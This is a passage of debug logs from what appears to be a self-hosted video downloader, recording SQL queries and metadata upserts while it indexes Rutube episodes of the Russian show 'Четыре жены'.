жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, 6, ~U[2024-06-13 14:50:12Z]] 20:59:13.000 [debug] QUERY OK source="sources" db=11.3ms idle=53.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:13.000 [debug] QUERY OK source="media_profiles" db=0.3ms idle=60.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:13.002 [debug] QUERY OK source="media_items" db=1.2ms idle=59.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76336] 20:59:13.003 [debug] Current batch of media processed. Will check again in 1000ms 20:59:14.004 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "duration" => 7553, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", "id" => "9a87c9fc35a371cd1004796877b3dd14", "original_url" => "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", "playlist_index" => 14, "timestamp" => 1718893817, "title" => "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "upload_date" => "20240620"} 20:59:14.005 [debug] QUERY OK source="sources" db=0.6ms idle=1017.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:14.007 [debug] QUERY OK source="sources" db=0.3ms idle=1006.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:14.008 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-20 14:30:17Z], 6] 20:59:14.055 [debug] QUERY OK source="media_items" db=46.6ms idle=1006.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "77a60da5-0a7b-4dc5-9584-73d801fd3457", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", 14, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, false, false, 6, [], 1, ~U[2024-06-20 14:30:17Z], ~U[2025-12-08 17:59:14Z], ~U[2025-12-08 17:59:14Z], "Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, 6, ~U[2024-06-20 14:30:17Z]] 20:59:14.071 [debug] QUERY OK source="sources" db=15.2ms idle=344.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:14.075 [debug] QUERY OK source="media_profiles" db=1.4ms queue=2.1ms idle=65.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:14.078 [debug] QUERY OK source="media_items" db=1.7ms idle=69.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76337] 20:59:14.079 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "duration" => 7366, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", "id" => "85ce363bb31634c6a1d2592a8f5cba49", "original_url" => "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", "playlist_index" => 15, "timestamp" => 1718979613, "title" => "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "upload_date" => "20240621"} 20:59:14.081 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=71.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:14.084 [debug] QUERY OK source="sources" db=1.5ms queue=1.1ms idle=26.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:14.087 [debug] QUERY OK source="media_items" db=1.6ms queue=1.1ms idle=13.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-21 14:20:13Z], 6] 20:59:14.284 [debug] QUERY OK source="media_items" db=194.2ms idle=14.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "ad08da4c-d59a-4de0-8ab5-647cca826849", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", 15, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, false, false, 6, [], 1, ~U[2024-06-21 14:20:13Z], ~U[2025-12-08 17:59:14Z], ~U[2025-12-08 17:59:14Z], "Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, 6, ~U[2024-06-21 14:20:13Z]] 20:59:14.286 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=206.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:14.287 [debug] QUERY OK source="media_profiles" db=0.6ms idle=204.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:14.288 [debug] QUERY OK source="media_items" db=0.7ms idle=203.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76338] 20:59:14.289 [debug] Current batch of media processed. Will check again in 1000ms 20:59:15.292 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "duration" => 7265, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", "id" => "cda4ec439998b15a47aedb80d3f465df", "original_url" => "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", "playlist_index" => 16, "timestamp" => 1719499813, "title" => "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "upload_date" => "20240627"} 20:59:15.293 [debug] QUERY OK source="sources" db=0.5ms idle=1009.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:15.297 [debug] QUERY OK source="sources" db=2.5ms queue=0.7ms idle=1008.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:15.299 [debug] QUERY OK source="media_items" db=1.4ms queue=0.7ms idle=1010.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-27 14:50:13Z], 6] 20:59:15.396 [debug] QUERY OK source="media_items" db=94.9ms queue=0.2ms idle=1012.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "2eba9f0b-06cd-42b2-bb31-9907b3c9fa7d", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", 16, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, false, false, 6, [], 1, ~U[2024-06-27 14:50:13Z], ~U[2025-12-08 17:59:15Z], ~U[2025-12-08 17:59:15Z], "Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, 6, ~U[2024-06-27 14:50:13Z]] 20:59:15.410 [debug] QUERY OK source="sources" db=13.2ms queue=0.2ms idle=683.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:15.411 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=116.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:15.420 [debug] QUERY OK source="media_items" db=7.8ms queue=0.1ms idle=114.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76339] 20:59:15.421 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "duration" => 7182, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", "id" => "9c3ee0f556eb51e29fdd816d9b672276", "original_url" => "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", "playlist_index" => 17, "timestamp" => 1720104013, "title" => "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "upload_date" => "20240704"} 20:59:15.429 [debug] QUERY OK source="sources" db=5.9ms queue=0.4ms idle=123.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:15.431 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=33.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:15.433 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=21.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-04 14:40:13Z], 6] 20:59:15.520 [debug] QUERY OK source="media_items" db=86.6ms queue=0.1ms idle=21.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "f0ae6da4-f4e0-4797-9e12-fc28e5f56cdc", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", 17, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, false, false, 6, [], 1, ~U[2024-07-04 14:40:13Z], ~U[2025-12-08 17:59:15Z], ~U[2025-12-08 17:59:15Z], "Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, 6, ~U[2024-07-04 14:40:13Z]] 20:59:15.541 [debug] QUERY OK source="sources" db=18.5ms queue=0.1ms idle=102.2ms 